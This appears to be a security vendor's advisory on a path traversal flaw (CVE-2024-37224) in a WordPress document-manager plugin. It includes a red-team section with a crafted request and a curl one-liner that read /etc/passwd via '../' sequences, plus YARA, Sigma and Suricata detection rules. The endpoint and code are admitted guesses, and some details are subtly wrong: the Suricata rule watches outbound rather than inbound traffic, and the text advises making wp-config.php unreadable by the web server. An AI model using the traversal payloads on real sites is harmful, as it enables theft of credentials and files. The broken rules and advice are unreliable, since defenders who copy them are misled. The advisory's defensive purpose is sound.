CVE-2024-37224

Executive Summary

CVE-2024-37224 is a Path Traversal vulnerability (CWE-22) affecting the SP Project & Document Manager WordPress plugin by Smartypants, up to version 4.71. This flaw allows an unauthenticated attacker to read arbitrary files outside the web root directory, potentially exposing sensitive configuration files, database credentials, or other critical data. The vulnerability has a CVSS score of 7.5 (High) and is classified under MITRE ATT&CK tactic T1190 – Exploit Public-Facing Application. No public proof-of-concept (PoC) or exploit code has been released as of this analysis, and the vendor has not provided a patch. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for unpatched installations.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since the plugin is a third-party component, the supply chain risk is moderate. Users must manually update or remove the plugin if a patch is not available. No known malicious packages or backdoors have been associated with this CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full file read access.
• Integrity Impact: None (I:N) – No file modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability is easy to exploit and can lead to significant data exposure.

Deep Dive & Mechanics

The vulnerability resides in the file handling mechanism of the SP Project & Document Manager plugin. The plugin likely uses user-supplied input (e.g., a file parameter in a URL or POST request) to construct file paths for reading documents. Due to insufficient input validation and sanitization, an attacker can inject path traversal sequences (e.g., ../) to escape the intended directory and read arbitrary files on the server.

Root Cause: The plugin fails to properly restrict the pathname to a restricted directory. It does not validate or sanitize the file parameter to ensure it stays within the allowed document storage directory.

Attack Vector: An unauthenticated attacker sends a crafted HTTP request to a vulnerable endpoint, such as:

GET /wp-content/plugins/sp-project-document-manager/download.php?file=../../../etc/passwd HTTP/1.1
Host: target.com

The server then reads and returns the contents of /etc/passwd (or any other file) due to the path traversal.

Impact: Successful exploitation allows reading sensitive files, including:

• WordPress configuration (wp-config.php) containing database credentials.
• Server configuration files (e.g., /etc/nginx/nginx.conf, /etc/apache2/apache2.conf).
• Application source code, potentially revealing other vulnerabilities.
• System files (e.g., /etc/passwd, /etc/shadow).

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the file download handler. A typical vulnerable PHP snippet might look like:

// Vulnerable code (conceptual)
$file = $_GET['file'];
$path = '/var/www/html/wp-content/uploads/sp-documents/' . $file;
if (file_exists($path)) {
    header('Content-Type: application/octet-stream');
    readfile($path);
}

A patched version would include validation:

// Patched code (conceptual)
$file = basename($_GET['file']); // Remove path components
$allowed_dir = '/var/www/html/wp-content/uploads/sp-documents/';
$path = $allowed_dir . $file;
if (file_exists($path) && strpos(realpath($path), realpath($allowed_dir)) === 0) {
    header('Content-Type: application/octet-stream');
    readfile($path);
}

The patch uses basename() to strip directory traversal and realpath() to verify the resolved path is within the allowed directory.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running WordPress with SP Project & Document Manager <= 4.71.
• Network access to the target.

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /wp-content/plugins/sp-project-document-manager/download.php).
2. Craft a request with path traversal:

   GET /wp-content/plugins/sp-project-document-manager/download.php?file=../../../etc/passwd HTTP/1.1
   Host: target.com
   

3. If successful, the server returns the contents of /etc/passwd.

Automated Exploitation (using curl):

curl -v "http://target.com/wp-content/plugins/sp-project-document-manager/download.php?file=../../../etc/passwd"

Lab Setup:

• Install WordPress and the vulnerable plugin version 4.71.
• Use a local server (e.g., XAMPP, Docker) to simulate the environment.
• Test the exploit against the local instance.

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests containing ../ or ..%2f in query parameters.
• Look for requests to the plugin's download endpoint with suspicious file paths.
• Use the detection rules provided below.

Defense:

• Immediately disable or remove the plugin if no patch is available.
• Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
• Restrict file read permissions for the web server user.
• Apply virtual patching via WAF or reverse proxy.

Indicators of Compromise (IOCs)

• URL Patterns:
  • /wp-content/plugins/sp-project-document-manager/download.php?file=../
  • /wp-content/plugins/sp-project-document-manager/download.php?file=..%2f
• Log Entries:
  • HTTP GET requests to the above URLs with status 200.
  • Unusual file paths in the file parameter (e.g., ../../../etc/passwd).
• File Access:
  • Unauthorized reads of /etc/passwd, wp-config.php, or other sensitive files.
• Network Indicators:
  • Outbound data containing sensitive file contents (if exfiltrated).

Detection Engineering

YARA Rule

rule CVE_2024_37224_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting SP Project & Document Manager plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-37224"
    strings:
        $traversal1 = "..%2f" ascii wide nocase
        $traversal2 = "../" ascii wide nocase
        $traversal3 = "..\\" ascii wide nocase
        $plugin_path = "/wp-content/plugins/sp-project-document-manager/download.php" ascii wide nocase
    condition:
        $plugin_path and any of ($traversal*)
}

Sigma Rule

title: CVE-2024-37224 Path Traversal Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects path traversal attempts against SP Project & Document Manager plugin
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-37224
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - '..%2f'
            - '../'
            - '..\\'
        cs-uri-stem|contains: '/wp-content/plugins/sp-project-document-manager/download.php'
    condition: selection
falsepositives:
    - Legitimate use of dots in filenames (rare)
level: high

Suricata Rule

alert http any any -> $EXTERNAL_NET any (
    msg:"CVE-2024-37224 - SP Project & Document Manager Path Traversal Attempt";
    flow:to_server,established;
    content:"/wp-content/plugins/sp-project-document-manager/download.php"; http_uri;
    content:"..%2f"; http_uri; sid:1000001; rev:1;
    reference:cve,2024-37224;
    classtype:attempted-recon;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable or remove the SP Project & Document Manager plugin until a patch is available.
2. Apply virtual patching via WAF to block path traversal patterns.
3. Restrict file permissions on sensitive files (e.g., wp-config.php should not be readable by the web server user).

Long-term Fix:

• Monitor the vendor's website for a patched version (>= 4.72).
• Implement input validation and sanitization in custom code.
• Use a security plugin (e.g., Wordfence) to add an additional layer of defense.

Workaround:

• If the plugin is critical, consider replacing it with an alternative that is actively maintained.

Valters IT – Securing digital frontiers with precision and expertise.